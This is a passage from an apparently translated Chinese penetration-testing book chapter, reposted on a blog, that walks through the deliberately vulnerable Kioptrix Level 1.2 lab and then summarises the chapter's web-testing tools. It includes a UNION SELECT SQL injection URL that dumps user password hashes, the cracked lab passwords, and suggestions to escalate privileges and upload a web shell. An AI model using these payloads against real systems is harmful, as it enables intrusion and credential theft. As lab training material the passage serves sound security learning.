  7. 为了获取开发用户的帐户信息,我们可以使用kioptrix3.com/gallery/gallery.php?id=1 UNION SELECT 1,username,password,4,5,6 from dev_accounts,这为我们提供了用户名loneferret的信息,密码哈希值为5badcaf789d3d1d09794d8f021f40f0e,以及用户dreg的密码哈希值为0d3eccfb887aabd50f243b3f155c0f85。我们可以尝试破解这些用户密码。成功破解密码将为您提供以下凭据:dreg - Mast3rloneferret - starwars

这些用户陷入了重复使用密码的陷阱。您现在可以通过从 BackTrack 到 Kioptrix 机器打开 SSH 会话来登录您的实验室中的 Kioptrix 1.2 机器。幸运的是,这些帐户不在 sudoers 列表中。现在我们需要提升其中一个帐户的权限。

注意

此时,您几乎已经获得了 Kioptrix Level 1.2 机器的 root 权限。花点时间四处看看服务器,尝试找出提升用户权限的方法。

一旦您使用 SSH 获得了 root 权限,通过网站上传一个 shell 到 Kioptrix Level 1.2 机器,再次挑战自己!有几种不同的方法可以实现这一点,如果遇到困难,可以参考网络上的许多攻略。

摘要

我们有机会真正开始构建我们的测试环境,设置 Kioptrix、pfSense、Muttilidae、HAProxy 等工具。在我们的实验室中使用这些工具有助于我们更好地理解我们正在测试的技术。最好的渗透测试人员具有丰富的 IT 经验,这样他们在测试和解释概念以及向客户解释控制措施时都能够充分利用。

我们还学会了如何使用工具如lbd来确定系统是否正在进行负载平衡,以及使用 Wafw00f 来寻找 Web 应用程序防火墙。熟能生巧,考虑到这一点,每一步都被定义得可以让您跟随并对技术充满信心,或者只是简单地更新您已经具有的重要技能。毕竟,在安全领域有很多需要记住的东西,很容易失去实践。

我们使用了 w3af 图形用户界面,然后使用了我最喜欢的 w3af 控制台,如果您想要更高效,可以对其进行脚本化。使用 Kioptrix 1.2,我们能够逐步了解如果您试图渗透客户的大型 Web 应用程序可能采取的不同步骤。我们讨论了有时自动化工具并不足以找到漏洞,因此浏览器和 WebScarab 等 HTTP 代理可以决定一个渗透测试的好坏。我们还向您介绍了 Mantra,它将通过提供社区创建的许多插件来帮助安全专业人员执行工作,从而使您的 Web 应用程序测试更加高效。

我们学到的最后一件事是,Web 应用程序测试是一门复杂而艰难的艺术。如果你遇到问题,永远不要放弃,继续努力!

下一章将深入探讨利用和客户端攻击。我们将学习缓冲区溢出,甚至创建我们自己的易受攻击程序。我们还讨论了不同的模糊测试工具,如 BED 和 sfuzz。我们深入研究了 Fast-Track 以及如何用它来设置大规模的网络攻击。我们还涉及了防病毒软件的规避和重新打包载荷。最重要的是,我们讨论了社会工程工具包,这应该是每个渗透测试人员工具箱中不可或缺的部分。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值